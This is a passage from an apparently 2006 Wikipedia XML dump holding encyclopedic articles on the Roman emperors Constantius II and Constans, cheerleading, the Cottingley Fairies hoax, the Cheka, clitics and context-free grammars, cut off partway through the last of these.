
Constantius married twice, first to Eusebia Augusta and second to Faustina, who gave birth to a posthumous daughter, Constantia, who later married Emperor [[Gratian]].

== External links ==
{{Commons|Constantius II}}

* DiMaio, Michael, and Robert Frakes, [http://www.roman-emperors.org/constaii.htm &quot;Constantius II,&quot;] ''De Imperatoribus Romanis'' site.

{{Roman Emperor|Prev=[[Constantine I (emperor)|Constantine I]]|CoEmperor=with [[Constans]] and [[Constantine II (emperor)|Constantine II]]|Next=[[Julian the Apostate|Julian]]|years=337&amp;ndash;361}}

[[Category:317 births]]
[[Category:361 deaths]]
[[Category:Roman emperors]]
[[Category:Constantine Dynasty]]

[[da:Constantius II]]
[[de:Constantius II.]]
[[el:Κωνστάντιος Β']]
[[es:Constancio II]]
[[fr:Constance II]]
[[it:Costanzo II]]
[[nl:Constantius II]]
[[no:Konstantius II]]
[[pl:Konstancjusz II]]
[[ro:Constanţiu II]]
[[sr:Констанције II]]
[[fi:Constantius II]]
[[sv:Constantius II]]</text>
    </revision>
  </page>
  <page>
    <title>Constans</title>
    <id>6747</id>
    <revision>
      <id>37107259</id>
      <timestamp>2006-01-28T18:58:42Z</timestamp>
      <contributor>
        <username>Panairjdde</username>
        <id>2400</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''This article discusses Constans, the Roman emperor. For Constans &quot;II&quot;, usurper and mythical king of Britain, see [[Constans, son of Constantine]].''


[[Image:Constans_coin.jpg|thumb|Bronze coin bearing the profile of Constans]]

'''Flavius Julius Constans''' ([[320]] - [[January 18]], [[350]]), was a [[Roman Emperor]] who ruled from [[337]] to [[350]]. Constans was the third and youngest son of [[Constantine I (emperor)|Constantine the Great]] and [[Fausta]], Constantine's second wife.

From 337, he was a joint ruler with his brothers [[Constantius II]] and [[Constantine II (emperor)|Constantine II]]. Constantine II attempted to take advantage of his youth and inexperience by invading [[Italy]] in [[340]], but Constans defeated Constantine II at [[Aquileia]], where the older brother died.

The writer [[Julius Firmicus Maternus]] mentioned that Constans visited [[Roman Britain|Britain]] in the early months of [[343]], but did not explain why. The speed of his trip, paired with the fact he crossed the [[English Channel]] during the dangerous winter months, suggests it was in response to a military emergency of some kind.

In [[350]], the general [[Magnentius]] declared himself emperor with the support of the troops on the [[Rhine]] frontier, and later the entire Western portion of the Roman Empire. Constans lacked any support beyond his immediate household, and was forced to flee for his life. Magnentius' supporters cornered him in a fortification in southeastern [[Gaul]], where he was killed.

== External links ==
{{Commons|Constans}}


{{Roman Emperor | Prev=[[Constantine I (emperor)|Constantine I]] | CoEmperor=with [[Constantius II]]&lt;br/&gt; and [[Constantine II (emperor)|Constantine II]] | Next=[[Constantius II]] | years=337-350}}

[[Category:320 births]]
[[Category:350 deaths]]
[[Category:Roman emperors]]
[[Category:Executed Roman emperors]]
[[Category:Constantine Dynasty]]

[[de:Constans]]
[[fr:Constant Ier]]
[[it:Costante I]]
[[nl:Flavius Iulius Constans]]
[[no:Konstans]]
[[pl:Konstans (cesarz rzymski)]]
[[ro:Constant]]
[[ru:Констант]]
[[fi:Constans]]
[[sv:Constans]]</text>
    </revision>
  </page>
  <page>
    <title>Cheerleading</title>
    <id>6749</id>
    <revision>
      <id>41965262</id>
      <timestamp>2006-03-02T22:48:16Z</timestamp>
      <contributor>
        <username>Spuddy 17</username>
        <id>627068</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Cheerleaders.jpg|thumb|right|Cheerleaders warming up for competition]]
'''Cheerleading''' is an activity that uses organized routines made up of elements from dance and/or [[gymnastics]] to cheer on sports teams at games and matches, and/or as a competitive sport. A cheerleading performer is a cheerleader.

==History==   	  	
Cheerleading came about at [[Princeton University]] in the 1880s with the crowd chant, &quot;Rah rah rah, tiger tiger tiger, sis sis sis, boom boom boom ahhhhhhh, Princeton Princeton Princeton!&quot; as a way to encourage school spirit at football games. A few years later, Princeton graduate Thomas Peebles, introduced the idea of organized crowd chanting to the University of Minnesota in 1884. But it was not until 1898 that University of Minnesota student Johnny Campbell stood in front of the crowd, and directed them in a chant, making Campbell the very first cheerleader. Soon after that, the [[University of Minnesota]] organized a &quot;yell leader&quot; squad of 4 male students. 	
		 
Although it is estimated that 90% of today's cheerleading participants are female, cheerleading started out as an all-male activity. Females started to participate in cheerleading in the [[1920s]], due to limited availability of female collegiate sports. By the [[1940s]], it was a largely female activity. 	 
 		 
Cheerleading is most closely associated with [[American football]], and to a lesser degree [[basketball]]. Sports such as [[football (soccer)|soccer]] and [[wrestling]] rarely have cheerleaders, while sports like [[baseball]] have none at all. 	 
		 
In [[1948]], Lawrence &quot;Herkie&quot; Herkimer formed the National Cheerleading Association (NCA) as a way to hold cheerleading clinics. The National Cheerleading Association held its first clinic in [[1949]] with 52 girls in attendance. The next year, the clinic had grown to 350 cheerleaders. By the [[1950s]], most American high schools had formed cheerleading squads. 	 
 		 
By the [[1960s]], cheerleading had grown to be a staple in American high school and collegiate sports. Organized cheerleading competitions began to crop up with the first ranking of the &quot;Top Ten College Cheerleading Squads&quot; and &quot;Cheerleader All America&quot; awards given out by the International Cheerleading Foundation (now the World Cheerleading Association or WCA) in 1967. In 1978, America was introduced to competitive cheerleading by the first broadcast of Collegiate Cheerleading Championships on [[CBS]]. 	 
 		 
In the 1960s [[National Football League]] (NFL) teams began to organize professional cheerleading teams. It was the [[Dallas Cowboys Cheerleaders]] who gained the spotlight with their revealing outfits and sophisticated dance moves, which debuted in the 1972-1973 season, but were first seen widely in [[Super Bowl X]] ([[1976]]). This caused the image of cheerleaders to permanently change, with many other NFL teams emulating them. 	 
		 
The [[1980s]] saw the onset of modern cheerleading with more difficult stunts and gymnastics being incorporated into routines. Cheerleading organizations started applying safety guidelines and offering courses on safety training for coaches and sponsors. In 1984, Cheer Ltd. Inc. (sic) established the National Cheer Conference (NCC) for cheer coaches to receive instruction and hands-on course work in cheerleading techniques. AACCA is the nationally recognized safety organization, conducting safety courses since 1987. A more recent organization to conduct safety courses is the NCSSE. 	 
 		 
The spirit industry leaders were united with the unprecedented [[2004]] establishment of SITA, the Spirit Industry Trade Association. Founded by leaders of nine major cheerleading companies including American Championships, America's Best, AmeriCheer, Athletic Championships, Atlantic Cheer &amp; Dance, Cheer Ltd. Inc, COA, ECA, and UPA, the industry trade association includes both cheerleading companies, affiliate companies, and safety organizations. Another trade organization, OSIP, the Organization of Spirit Industry Providers, consists of over 33 member organizations including Universal Cheerleaders Association, National Spirit Association, USASF, Fellowship of Christian Cheerleaders, Ross Athletic, CheerSPORT and others. 	 
 		 
Today, cheerleading has grown to an estimated 4 million participants in the United States alone. 	  		 
[[Image:CheerleadingStunt,UTEP,29November2005.jpg|thumb|[[UTEP]] [[cheerleader]]s (orange uniforms) in a [[stunt]] for the renaming of [[Glory Road (film)|Glory Road]] on the campus, November 29, 2005. The [[Golddigger]]s ([[pompon]] girls -- black and white uniforms) are to the front. ]]

==Safety==
The [[August]] [[2005]] death of Ashley Burns, a 14 year old cheerleader, while practicing a stunt, drew attention to the risks in the development of cheerleading stunts, even though Burns actually died due to the reopening of pre-existing internal injuries. Fatalities and serious injuries are extremely rare in cheerleading. In the United States since [[1991]], only two deaths have been confirmed as being caused by cheerleading.
    
The National Federation of High Schools, Universal Cheerleaders Association, and the American Association of Cheerleading Coaches and Advisors joined together to develop and promote the NF Coaches Education Program. On the college level, the [[NCAA]] has required all college cheerleading coaches are AACCA safety certified by August 1, [[2006]]. 

==Motions/Jumps==
*Common cheerleading motions are high V, low V, half-high and half-low Vs, diagonals, K's, L's, T's, broken T's, touchdowns, low touchdowns, tabletops, and punches. The motions always need to be sharp and precise so that the cheerleaders do not look sloppy. 
*'''Toe Touch''' is a jump with legs straddled, and straight, toes pointed, knees up or back, and the arms in a T motion. This is the most common jump. 
*'''Hurdler''' The straight leg is either forward (a front hurdler) with arms in a touchdown, or out to the side (a side hurdler) with arms in a T. The bent knee faces the crowd. 
*'''Pike''' is among the most difficult of jumps. Both legs are straight out, knees locked. Arms are in a touchdown motion out in front to create a folded position in the air. This is often performed at a ninety-degree angle to the audience in order to show off the air position. 
*'''Around the World''' is a jump where the performer hits a pike and then whips his or her legs quickly back around into a toe touch. This jump is regarded as difficult to accomplish, because two positions must be reached in the very short time while the jumper is in the air. 
*'''Herkie''', named for Lawrence R. Herkimer, the founder of the National Cheerleader's Association, is similar to a side-hurdler, except that instead of both arms being in a &quot;T&quot; motion, both arms are opposite of what the leg beneath them is doing.  Example of this would be the straight arm would be on the side of the bent leg, and the bent arm is on the side of the straight leg.  One other variation of this includes the bent leg is pointing straight down, instead of out like the side-hurdler.  The jump is speculated to have been invented because Herkie wasn't able to do an actual side-hurdler. 
*'''Double Nine''' is a jump similar to a pike except one leg and one arm are bent in to form two &quot;nines&quot;. 
*'''Double Hook''' is a jump where the legs are in the &quot;cheer sit&quot; position.

==Stunting==
[[Image:Cheer stunt.jpg|thumb|right|Cheerleaders perform a stunt for parade watchers. The flyer does a full twist in the air as the bases prepare to catch her.]]
*A '''stunt''' involves one or more bases holding or tossing a cheerleader in the air. 
*'''Flyers''' are cheerleaders held or tossed in the air.
*'''Bases''' are the cheerleaders who hold and toss the flyers.
*'''Backspots''' are cheerleaders who stand behind the flyer and the bases that have three duties: 1. To make sure that the stunt does not fall and to help catch the flyer if it does fall. 2. To help the bases by lifting some of the flyer's weight, making the stunt more stable and less heavy for the bases. 3. To help ensure the safe dismount of the flyer from the stunt. Back spots are not used with &quot;partner stunts.&quot;
*'''Frontspots''' have similar duties to backspots, but are generally used by younger teams or more inexperienced squards.
*'''Pyramids''' are multiple groups of stunts, connected aerially by their flyers. This connection may be made in a variety of ways, from a simple linking of hands to having a multi-level pyramid, with the flyers already in the air acting as primary bases for another flyer or flyers on top of them. 
    
==Tumbling==
*In competition and most collegiate level cheerleading, [[tumbling]] is a requirement. The most basic tumbling is a cartwheel or a round off. The more difficult skills are back [[Handspring (Gymnastics)|handsprings]] and round off back handsprings. Other more advanced skills include: back tucks, layouts, twisting layouts (fulls), and front tumbling, such as front handsprings, and punch fronts.

==Cheers/Chants==
Every sideline cheerleading team has their &quot;signature&quot; cheers and chants. Most of the time the cheerleaders and coaches come up with these cheers/chants, although there are a few professional specialists, such as [[Krazy George Henderson]]. Cheers are often longer than chants and usually incorporate jumps, tumbling, or stunting. Chants are short and repetitive and usually involve crowd participation.

==All-Star Competitive Cheerleading==
In the early [[1990s]], cheerleading teams not associated with schools or sports leagues, whose main objective is competition, started to emerge. All-star cheerleading involves a squad of anywhere between 3-30+ females and/or males. The squad prepares year-round, but they only actually perform for up to 2 1/2 minutes in their competitions. The numbers of competitions a team participates in varies from team to team, but generally, most teams tend to participate in 6 or 7 competitions a year. During a competition, a squad covers everything from stunting to tumbling to dancing. There is custom music for the entire routine. Teams apply an 8 count system to the music so the team members know how long stunts need to be held, when they are supposed to do their tumbling, the order the pyramid is assembled, and when specific dance moves are to be performed.

All-star teams are operated out of [[gymnastics]] facilities, or cheer gyms, which are entire gyms built to facilitate the needs of competitive cheerleaders.

All-star competitive cheerleaders are placed into divisions which are grouped based upon age and ability level. Judges at the competition watch for illegal moves from the group or any of its members. Here, an illegal move is something that is not allowed in that division, due to difficulty and safety restrictions. More generally, judges look at the difficulty and execution of stunts and tumbling, synchronization, the sharpness of the motions in the dance, as well as the cheer (if applicable), and overall routine execution.

All-star cheerleading is a relatively young sport. The US All Star Federation (USASF) has emerged as the preeminent organization for all-star teams and gyms. Companies that run competitions include AmeriCheer, U.S. Spirit, Universal Cheerleading Association (UCA), National Cheerleading Association (NCA, the very first), Cheer Ltd. Inc, American Cheer Power, Cheerleaders of America (COA), World Spirit Federation (WSF), JAMfest Cheer and Dance, FCC (Fellowship of Christian Cheerleaders), CHEERSPORT, and many more.

Competitive cheerleading is a major time and financial commitment, yet it is a rapidly growing sport and industry. Experience in all-star cheerleading is also highly sought after by elite college cheerleading teams such as the [[University of Louisville]], the [[University of Kentucky]], the [[University of Houston]], and [[Hawaii Pacific University]].

==United Kingdom==
In the [[United Kingdom]], the American style of cheerleading at sports matches is seen by many as alien to British sporting culture, and some attempts to introduce it, for example in the early days of [[FA Premier League|Premiership]] football (soccer), have been abandoned after receiving widespread derision. There are however several sports teams that use their support: these are usually [[rugby league]] teams, and include the [[Leeds Rhinos]], the [[Warrington Wolves]], the [[Bradford Bulls]], the [[Castleford Tigers]] and [[St Helens RFC|St Helens]]. The teams that play in BCAFL, the UK College American Football League also follow the American tradition of having cheerleaders support them at games, as do the GB Bulldogs, the UK national American Football team.

Recently all-star competitive cheerleading has increased in popularity in the UK and several organisations such as the British Cheerleading Association hold national competitions every year. There is also a competing group, more recently formed than the BCA, called Future Cheer, which conforms to the relatively recent USASF coaching and safety regulations. Cheerleaders in Britain can range from the age of six or seven, up to university students, all of whom mix together and compete in competitions consisting of cheer, dance and stunt categories. Co-ed cheerleading is also a  relativly popular form of cheerleading in the UK.

==External links==
{{Commons|Cheerleading}}
*[http://www.aacca.org American Association of Cheerleading Coaches and Advisors (AACCA)]
*[http://www.nationalspirit.com National Cheerleading Association and National Spirit Group (NCA and NSG)]
*[http://www.usasf.net United States All-Star Federation (USASF)]
*[http://www.cheerleading.org.uk British Cheerleading Association (BCA)]
*[http://www.osiponline.org Organization of Spirit Industry Providers (OSIP)]
*[http://www.cheerleadinguk.com UK Cheerleading Association (UKCA)]
*[http://www.icf-hdqrs.org/ International Cheerleading Federation (ICF)]
*[http://www.futurecheer.co.uk Future Cheer UK ]
*[http://www.whatisprox.com Pro X - advanced stunting and tumbling ]


[[Category:Cheerleading]]

[[cs:Cheerleading]]
[[de:Cheerleading]]
[[fr:majorette]]
[[ko:치어리딩]]
[[ja:チアリーダー]]
[[ru:Черлидинг]]
[[fi:Cheerleader]]
[[no:Cheerleading]]
[[sv:Cheerleading]]
[[th:เชียร์ลีดเดอร์]]</text>
    </revision>
  </page>
  <page>
    <title>Cottingley Fairies</title>
    <id>6751</id>
    <revision>
      <id>41840802</id>
      <timestamp>2006-03-02T02:14:10Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Cottingley_Fairies_1.jpg|thumb|250px|Frances with the fairies, taken by Elsie in July 1917. One of the five photographs.]]

The '''Cottingley Fairies''' refers to a series of five photographs taken by [[Frances Griffiths]] and [[Elsie Wright]], two young cousins living in [[Cottingley]], near [[Bradford, England]].

The first two photos were taken in 1917. They were publicized in [[1920]] when [[Strand Magazine|The Strand]] (home of [[Sir Arthur Conan Doyle]]'s Sherlock Holmes stories) 
published a piece by Doyle showing the first two photographs and describing them. Griffiths and Wright were then given 24 photographic plates and took three more photos in [[August]] [[1920]]. They blamed constant rainfall, but rainfall was at the lowest point in the year during August. This is now seen as proof that they had to discard several failed attempts.    The photos showed the fairies as small humans with [[period style]] haircuts, dressed in filmy gowns, and with large wings on their backs.  One picture is of a [[gnome]],  about 12 inches tall, dressed in a somewhat [[Elizabethan]] manner, and also with wings.

[[Image:Cottingley_Fairies_2.jpg|thumb|250px|The picture with the gnome.]]

The re-touched versions of the pictures that are most commonly used today (and on this page) make the fairies look like paper cutouts, having a flat appearance, with lighting that does not match the rest of the photograph. Even the waterfall in the background appears to be taken at a slower shutter-speed than the fairies, which are sharp and clear. When viewing the original prints, however, the case becomes less clear. Certainly at the time the photos were viewed by many as evidence of fairies, most notably [[Arthur Conan Doyle|Sir Arthur Conan Doyle]], the famed author of [[Sherlock Holmes]] and a promoter of [[spiritualism]] after his son's death. Doyle wrote a book called [[The Coming of the Fairies]] about the fairy hoax and his belief in their existence.

[[Harold Snelling]], a contemporary expert in fake photography said, &quot;These dancing figures are not made of paper nor any fabric; they are not painted on a photographic background&amp;mdash;but what gets me most is that all these figures have moved during the exposure.&quot; Doyle too dismissed the idea the photographs could have been faked.  It is now considered that he thought the girls too young and too inexperienced to have been able to create such a hoax. 

In 1978, it was found the fairies were from the [[1915]] book [[Princess Mary's Gift Book]] by [[Arthur Shepperson]].

The cousins remained evasive about the authenticity of the pictures for most of their lives, at times claiming they were forgeries, and at other times leaving it to the individual to decide.  In 1981, in an interview by Joe Cooper for the magazine ''The Unexplained'', the cousins confessed that the photos were fake and they held up cut-outs with tacks. Frances Griffith, however, continued to maintain until her death that they did see fairies and that the 5th photograph, which showed fairies in a sunbath, was genuine.

Two 1997 movies, ''[[Fairy Tale: A True Story]]'', starring [[Peter O'Toole]] and [[Harvey Keitel]], and ''[[Photographing Fairies]]'' with [[Ben Kingsley]] were based on this event. 

==External links==


*[http://www.ash-tree.bc.ca/acdsfairies.htm The Coming of the Fairies: An alternative view of the episode of The Cottingley Fairies], essay by Barbara Roden
*[http://www.randi.org/library/cottingley/ The Case of the Cottingley Fairies] at The James Randi Educational Foundation
*[http://www.cottingley.net/fairies.shtml Cottingley Fairies] at Cottingley.Net - The Cottingley Network
*[http://www.cottingleyconnect.org.uk/fairies.htm Cottingley Fairies] at Cottingley Connect
*[http://anomalyinfo.com/articles/sa00017.shtml Cottingley Fairies] at Anomalies
[[ja:&amp;#12467;&amp;#12486;&amp;#12451;&amp;#12531;&amp;#12464;&amp;#12522;&amp;#12540;&amp;#22934;&amp;#31934;&amp;#20107;&amp;#20214;]]
[[fi:Cottingleyn keijukaiset]]
[[Category:Hoaxes]]</text>
    </revision>
  </page>
  <page>
    <title>Cheka</title>
    <id>6752</id>
    <revision>
      <id>41886859</id>
      <timestamp>2006-03-02T10:41:44Z</timestamp>
      <contributor>
        <username>Hvn0413</username>
        <id>850119</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:KGB Symbol.png|thumb|117px|Cheka-KGB emblem: sword and shield]]
The '''Cheka''' ('''ЧК''' - чрезвычайная комиссия) was the first of [[Chronology of Soviet secret police agencies|many]] [[Soviet Union|Soviet]] [[secret police]] organizations, created by decree on [[December 20]], [[1917]] by [[Vladimir Lenin]] and led by [[Felix Edmundovich Dzerzhinsky]].

== The name ==

The agency's full name was '''Всероссийская чрезвычайная комиссия по борьбе с контрреволюцией и саботажем''' (''All-Russian Extraordinary Commission for Combating [[Anti-Soviet agitation|Counter-Revolution]] and [[Sabotage]]''), but was commonly abbreviated to ЧК (Cheka) or ВЧК (Vecheka). In [[1918]] its name was changed slightly to: Всероссийская чрезвычайная комиссия по борьбе с контрреволюцией, спекуляцией и преступлениям по должности, or ''All-Russian Extraordinary Commission for Combating Counter-Revolution, [[Speculation]] and [[Political corruption|Power Abuse]]''.

A member of Cheka was called '''chekist'''. Chekists of the post-[[October Revolution]] years wore leather jackets, and they are pictured in many movies with this apparel. Despite the multitudinous namechanges over time, Soviet secret policemen were referred to as &quot;Chekists&quot; throughout the Soviet period and the term is still found in use in [[Russia]] today (for example, President [[Vladimir Putin]] has been referred to in the [[Russian media]] as a chekist).

== Formation ==

After early attempts by the western powers ([[United Kingdom|Britain]] and [[France]]) to intervene against the [[Bolsheviks]] in the [[Russian Civil War]], and after the assassination of [[Petrograd]] Cheka leader [[Moisei Uritsky]] on [[August 30]], [[1918]] (the same day [[Fanya Kaplan]] attempted to assassinate [[Vladimir Lenin]]), the Soviet leadership and the Cheka became convinced that there was a wide ranging conspiracy of foreign enemies and internal counter-revolutionaries. Therefore they poured resources into the intelligence service to combat this conspiracy. The Cheka quickly succeeded in destroying any remaining counter revolutionary groups. Additionally, the Cheka played a significant role in destroying nonpolitical criminal gangs. During the Civil War, the Cheka formed their own military units, clad in black, which acted as shock troops.

== Renaming ==

At the end of the Civil War, the Cheka was changed on [[February 6]], [[1922]] into the [[State Political Administration]] or GPU, a section of the [[NKVD]] of the [[Russian SFSR]].

==Related articles ==
* [[Russian Revolution of 1917]]
* [[Lavrenty Pavlovich Beria]]
* [[Mensheviks]]
* [[Bolsheviks]]

==Sources ==
*Andrew, C., and Mitrokhin, V. (1999). The Mitrokhin Archive: The KGB in Europe and the West, London: Penguin Books.

[[Category:1917 establishments]]
[[Category:History of the Soviet Union and Soviet Russia]]
[[Category:Law enforcement in the Soviet Union]]
[[Category:Soviet and Russian intelligence agencies]]
[[Category:Soviet repressions]]


[[de:Tscheka]]
[[es:Cheka]]
[[fr:Tcheka]]
[[ja:チェーカー]]
[[nl:Tsjeka]]
[[pl:Cze-Ka]]
[[ro:CEKA]]
[[sl:ČEKA]]
[[sv:Tjeka]]</text>
    </revision>
  </page>
  <page>
    <title>Clitic</title>
    <id>6753</id>
    <revision>
      <id>41011033</id>
      <timestamp>2006-02-24T13:38:32Z</timestamp>
      <contributor>
        <ip>129.170.161.62</ip>
      </contributor>
      <comment>/* Examples */</comment>
      <text xml:space="preserve">In [[linguistics]], a '''clitic''' is a [[word (linguistics)|word]] that [[syntax|syntactically]] functions as a [[free morpheme]], but phonetically appears as a [[bound morpheme]]; it is always pronounced with a following or preceding word. A clitic is either an '''enclitic''', where the clitic is with the preceding word, or a '''proclitic''', which is with the following word. Some languages, like [[Portuguese_language|Portuguese]], also have '''mesoclitics''', which are inserted in the middle of the word.

A word and a clitic attached to it are pronounced like a single word, which respects the usual rules of the [[language]] in question. For example, if a word must have one and only one stressed syllable, then a word with a clitic must too (the clitic is usually unstressed). Clitics are often written as separate words.

A clitic is not an [[affix]]. An affix syntactically and phonologically attaches to a base [[morpheme]] of a limited [[part of speech]] such as a verb, to form a new word.  A clitic syntactically functions above the word level (i.e. on the [[phrase]] or [[clause]] level) and attaches only phonetically to the first, last, or only word in the phrase or clause, whichever part of speech the word belongs to.

==Examples==

In the [[Indo-European language]]s, some clitics can be traced back to [[Proto-Indo-European language|Proto-Indo-European]]: for example, ''-k&lt;sup&gt;w&lt;/sup&gt;e'' is the original form of [[Latin]] ''-que'', [[Greek language|Greek]] ''te'', and [[Sanskrit]] ''-ca''. This word means &quot;and&quot; and is said after the word being added, e.g. [[SPQR|Senatus ''Populusque'' Romani]] &quot;Senate ''and People'' of Rome&quot;.

The [[English language|English]] enclitics are:
* The abbreviated forms of ''be'':
** ''&amp;#39;m'' in ''I'''&amp;#39;m'''''
** ''&amp;#39;re'' in ''you'''&amp;#39;re'''''
** ''&amp;#39;s'' in ''she'''&amp;#39;s'''''
* For negation, the abbreviated form of ''not'':
** ''n't'' in ''could'''n't'''''
*** this abbreviated form of ''not'' has been proven to be an affix rather than a clitic (Zwicky &amp; Pullum, 1983).
* The abbreviated forms of auxiliary verbs:
** ''&amp;#39;ll'' in ''they'''&amp;#39;ll'''''
** ''&amp;#39;ve'' in ''they'''&amp;#39;ve'''''
* To express the possessive of a phrase:
** ''&amp;#39;s'' in ''the girl next door'''&amp;#39;s''' cat''
(It's not just the ''door's cat''.) 

And the English proclitics are:
* ''a'' in '''''a''' desk''
* ''an'' in '''''an''' egg''
* ''the'' in '''''the''' house''

In the [[Romance languages]], the articles and the non-emphatic [[object (grammar)|object]] [[pronoun]]s are all clitics. In [[Spanish language|Spanish]], for example:

:''las aguas'' (&quot;the waters&quot;) = /la'saguas/
:''lo hicimos'' (&quot;we made it&quot;) = /loi'simos/
:''dámelo'' (&quot;give it to me&quot;) = /'damelo/

Clitics in other languages:
*Latin: ''que'' and, ''ve'' or, ''ne'' (yes-no question)
*Greek: ''te'' and, ''de'' but, ''gar'' for (in a logical argument), ''oun'' therefore
*[[Russian language|Russian]]: ''&amp;#x43b;&amp;#x438;'' (yes-no question), ''&amp;#x436;&amp;#x435;'' (emphasis), ''&amp;#x43d;&amp;#x435;'' not (proclitic), ''&amp;#x431;&amp;#x44b;'' (subjunctive)
*[[Japanese language|Japanese]]: all [[grammatical particle|particle]]s, such as the genitive [[postposition]] &amp;#x306E; ''no'' and the [[topic (linguistics)|topic]] marker &amp;#x306F; ''wa''
*[[Dutch language|Dutch]]: ''&amp;#39;t'' definite article of neuter nouns and third person pronoun, ''&amp;#39;k'' first person pronoun, ''je'' second person pronoun, ''-ie'' third person pronoun (this one should not be written as a separate word, i.e &quot;''Doet-ie 't nog?''&quot;: &quot;Is it still working?&quot;; lit. &quot;Does it still do it?&quot;)

==External links==
*[http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsACliticGrammar.htm SIL Glossary of Linguistic Terms: What is a clitic?]

==See also==
*[[Clitic doubling]]

[[Category:Parts of speech]]

[[de:Klitika]]
[[nl:clitic]]
[[ja:&amp;#25509;&amp;#35486;]]
[[nn:Klitikon]]
[[pl:Enklityka]]</text>
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    <title>CamelHumpedWord</title>
    <id>6756</id>
    <revision>
      <id>15904876</id>
      <timestamp>2003-05-25T19:10:16Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[CamelCase]]</text>
    </revision>
  </page>
  <page>
    <title>Context-free grammar</title>
    <id>6759</id>
    <revision>
      <id>42091541</id>
      <timestamp>2006-03-03T19:47:02Z</timestamp>
      <contributor>
        <username>Flamingspinach</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.134.196.255|203.134.196.255]] to last version by Babajobu</comment>
      <text xml:space="preserve">In [[linguistics]] and [[computer science]], a '''context-free grammar''' ('''CFG''') is a [[formal grammar]] in which every production rule is of the form
:V &amp;rarr; ''w''
where V is a [[Terminal symbol|non-terminal symbol]] and ''w'' is a string consisting of terminals and/or non-terminals. The term &quot;context-free&quot; comes from the fact that the non-terminal V can always be replaced by ''w'', regardless of the context in which it occurs. A [[formal language]] is [[context-free language|context-free]] if there is a context-free grammar that generates it.

Context-free grammars are powerful enough to describe the [[syntax]] of most [[programming language]]s; in fact, the syntax of most programming languages are specified using context-free grammars. On the other hand, context-free grammars are simple enough to allow the construction of efficient [[list of algorithms#Parsing|parsing algorithm]]s which, for a given string, determine whether and how it can be generated from the grammar. An [[Earley parser]] is an example of such an algorithm, while [[LR parser|LR]] and [[LL parser]]s only deal with more restrictive subsets of context-free grammars.  

BNF ([[Backus-Naur Form]]) is the most common notation used to express context-free grammars.

Not all formal languages are context-free &amp;mdash; a well-known [[counterexample]] is &lt;math&gt; \{ a^n b^n c^n : n \ge 0 \} &lt;/math&gt;.
This particular language can be generated by a [[parsing expression grammar]], which is a relatively new [[formalism]] that is particularly well-suited to programming languages.

== Formal definition ==
Just as any [[formal grammar]], a context-free grammar G can be defined as a 4-tuple:

&lt;math&gt;G = (V_t, V_n, P, S)&lt;/math&gt;
where

*&lt;math&gt;V_t&lt;/math&gt; is a finite set of terminals
*&lt;math&gt;V_n&lt;/math&gt; is a finite set of non-terminals
*&lt;math&gt;P&lt;/math&gt; is a finite set of production rules
*&lt;math&gt;S&lt;/math&gt; is an element of &lt;math&gt;V_n&lt;/math&gt;, the distinguished starting non-terminal.
*elements of &lt;math&gt;P&lt;/math&gt; are of the form 
::&lt;math&gt;V_n \longrightarrow (V_t \cup V_n)^*&lt;/math&gt;

== Examples ==
=== Example 1 ===
A simple context-free grammar is 
:S &amp;rarr; aSb | &amp;epsilon;
where | is a [[Logical disjunction|logical OR]], and is used to separate multiple options for the same non-terminal—&amp;epsilon; stands for an empty string. This grammar generates the language 
&lt;math&gt; \{ a^n b^n : n \ge 0 \} &lt;/math&gt;
which is not [[regular language|regular]].

=== Example 2 ===
Here is a context-free grammar for syntactically correct infix algebraic expressions in the variables x, y and z:
:S &amp;rarr; x | y | z | S + S | S - S | S * S | S/S | (S)

This grammar can, for example, generate the string &quot;( x + y ) * x - z * y / ( x + x )&quot;. 

=== Example 3 ===
A context-free grammar for the language consisting of all strings over {a,b} which contain a different number of a's to b's is
:S &amp;rarr; U | V
:U &amp;rarr; TaU | TaT
:V &amp;rarr; TbV | TbT
:T &amp;rarr; aTbT | bTaT | &amp;epsilon;
Here, T can generate all strings with the same number of a's as b's, U generates all strings with more a's than b's and V generates all strings with fewer a's than b's.

=== Example 4 ===
Another example of a context free language is &lt;math&gt; \{ a^n b^m c^{m+n} : n \ge 0, m \ge 0 \} &lt;/math&gt;.  This is not a regular language, but it is context free as it can be generated by the following CFG (Context Free Grammar):
:S &amp;rarr; aSc | B
:B &amp;rarr; bBc | &amp;epsilon;

=== Other examples ===
Context-free grammars are not limited in application to mathematical (&quot;formal&quot;) languages.
The grammar of [[Lojban]], a spoken artificial language with an immense expressive power, is also context-free, and unambiguous.
The ancient Indian linguist [[Panini (scholar)|Panini]] described [[Sanskrit]] using a context-free grammar. Recently, it has been suggested that  a class of [[Tamil language|Tamil]] poetry called [[Venpa]] is governed by a context-free grammar.

== Derivations and syntax trees ==
There are basically two ways to describe how in a certain grammar a string can be derived from the start symbol. The simplest way is to list the consecutive strings of symbols, beginning with the start symbol and ending with the string, and the rules that have been applied. If we introduce a strategy such as &quot;always replace the left-most nonterminal first&quot; then for context-free grammars the list of applied grammar rules is by itself sufficient. This is called the ''leftmost derivation'' of a string. For example, if we take the following grammar:
: (1) S &amp;rarr; S + S
: (2) S &amp;rarr; 1
and the string &quot;1 + 1 + 1&quot; then the left derivation of this string is the list [ (1), (1), (2), (2), (2) ]. Analogously the ''rightmost derivation'' is defined as the list that we get if we always replace the rightmost nonterminal first. In this case this would be the list [ (1), (2), (1), (2), (2)].

The distinction between leftmost derivation and rightmost derivation is important because in most [[parser]]s the transformation of the input is defined by giving a piece of code for every grammar rule that is executed whenever the rule is applied. Therefore it is important to know whether the parser determines a leftmost or a rightmost derivation because this determines the order in which the pieces of code will be executed. See for an example [[LL parser]]s and [[LR parser]]s.

A derivation also imposes in some sense a hierarchical structure on the string that is derived. For example the structure of the string &quot;1 + 1 + 1&quot; would, according to the leftmost derivation, be:

:S&amp;rarr;S+S   (1)
:S&amp;rarr;S+S+S (1)
:S&amp;rarr;1+S+S (2)
:S&amp;rarr;1+1+S (2)
:S&amp;rarr;1+1+1 (2)

